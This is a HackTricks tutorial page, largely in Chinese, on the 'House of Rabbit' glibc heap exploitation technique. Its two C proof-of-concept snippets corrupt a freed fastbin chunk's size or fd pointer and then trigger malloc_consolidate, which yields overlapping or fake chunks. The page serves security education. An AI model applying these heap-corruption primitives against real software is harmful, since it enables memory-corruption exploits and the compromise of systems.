House of Rabbit

Reading time: 5 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

Requirements

  1. 能够修改快速堆块的 fd 指针或大小: 这意味着您可以更改快速堆中一个块的前向指针或其大小。
  2. 能够触发 malloc_consolidate: 这可以通过分配一个大块或合并顶部块来完成,这会强制堆合并块。

Goals

  1. 创建重叠块: 使一个块与另一个块重叠,从而允许进一步的堆操作。
  2. 伪造假块: 使分配器在堆操作期间将假块视为合法块。

Steps of the attack

POC 1: 修改快速堆块的大小

Objective: 通过操纵快速堆块的大小来创建一个重叠块。

  • Step 1: 分配块
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state

我们分配了两个各为0x40字节的块。这些块在释放后将被放入快速空闲链表中。

  • 步骤 2:释放块
cpp
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

我们释放这两个块,将它们添加到 fastbin 列表中。

  • 步骤 3:修改块大小
cpp
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

我们将 chunk1 的大小元数据更改为 0xa1。这是欺骗分配器在合并期间的关键步骤。

  • 步骤 4:触发 malloc_consolidate
cpp
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

分配大块内存会触发 malloc_consolidate 函数,将快速堆中的小块合并。被操控的 chunk1 大小导致它与 chunk2 重叠。

合并后,chunk1chunk2 重叠,从而允许进一步的利用。

POC 2: 修改 fd 指针

目标:通过操控快速堆 fd 指针创建一个伪造块。

  • 步骤 1:分配块
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

解释:我们分配两个块,一个较小,一个较大,以便为假块设置堆。

  • 步骤 2:创建假块
cpp
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk

我们在 chunk2 中写入假块元数据,以模拟更小的块。

  • 步骤 3:释放 chunk1
cpp
free(chunk1);  // Frees the chunk at 0x602000

解释:我们释放 chunk1,将其添加到 fastbin 列表中。

  • 步骤 4:修改 chunk1fd
cpp
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

解释:我们将 chunk1 的前向指针 (fd) 更改为指向 chunk2 内部的假块。

  • 步骤 5:触发 malloc_consolidate
cpp
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

分配一个大块再次触发 malloc_consolidate,它处理假块。

假块成为 fastbin 列表的一部分,使其成为进一步利用的合法块。

总结

House of Rabbit 技术涉及修改 fast bin 块的大小以创建重叠块或操纵 fd 指针以创建假块。这使攻击者能够在堆中伪造合法块,从而实现各种形式的利用。理解和实践这些步骤将增强你的堆利用技能。

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks